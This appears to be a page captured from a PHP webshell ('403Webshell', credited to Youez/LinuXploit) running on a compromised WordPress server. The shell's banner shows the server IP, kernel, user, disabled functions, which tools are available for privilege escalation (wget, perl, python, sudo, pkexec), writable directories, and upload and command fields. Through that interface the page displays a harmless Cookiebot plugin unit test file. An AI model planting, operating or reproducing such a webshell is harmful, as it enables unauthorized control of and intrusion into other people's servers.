403Webshell
Server IP : 185.11.201.71  /  Your IP : 192.168.7.18
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux tech-virtual-machine 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : tech ( 1000)
PHP Version : 7.4.28
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/enaireaceleradora/wp-content/plugins/cookiebot/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/enaireaceleradora/wp-content/plugins/cookiebot/tests/unit/Test_Cookie_Consent.php
<?php

namespace cybot\cookiebot\tests\unit;

use cybot\cookiebot\lib\Cookie_Consent;
use PHPUnit\Framework\ExpectationFailedException;
use SebastianBergmann\RecursionContext\InvalidArgumentException;
use WP_UnitTestCase;

class Test_Cookie_Consent extends WP_UnitTestCase {
	const COOKIE = '{"stamp":"0boMmPgsG8gUTRvMkOLtyZ1uLvOFJobBbNb23IZO/TpY3eETvRxFfg==","necessary":"true","preferences":"true","statistics":"false","marketing":"false","ver":"1","utc":"1557479161596"}';

	/**
	 * Test Cookie Consent with valid encoded json format
	 *
	 * @throws ExpectationFailedException
	 * @throws InvalidArgumentException
	 */
	public function test_scan_cookie_with_encoded_json_format() {
		$cookie_consent = new Cookie_Consent( self::COOKIE );

		$this->assertEquals( array( 'necessary', 'preferences' ), $cookie_consent->get_cookie_states() );
	}

	/**
	 * Test Cookie Consent with unchecked status
	 * Only necessary type should be allowed
	 *
	 * @throws ExpectationFailedException
	 * @throws InvalidArgumentException
	 */
	public function test_scan_cookie_with_zero_value() {
		$cookie_consent = new Cookie_Consent( 0 );

		$this->assertEquals( array( 'necessary' ), $cookie_consent->get_cookie_states() );
	}

	/**
	 * Test Cookie Consent with every type checked
	 *
	 * @throws ExpectationFailedException
	 * @throws InvalidArgumentException
	 */
	public function test_scan_cookie_everything_checked() {
		$cookie_consent = new Cookie_Consent( - 1 );

		$this->assertEquals(
			array( 'necessary', 'preferences', 'statistics', 'marketing' ),
			$cookie_consent->get_cookie_states()
		);
	}

	/**
	 * Test Cookie Consent with invalid encoded json format
	 * Should return only necessary type
	 *
	 * @throws ExpectationFailedException
	 * @throws InvalidArgumentException
	 */
	public function test_scan_cookie_with_wrong_encoded_json_format() {
		$cookie_consent = new Cookie_Consent( '{"test":"test"}' );

		$this->assertEquals( array( 'necessary' ), $cookie_consent->get_cookie_states() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit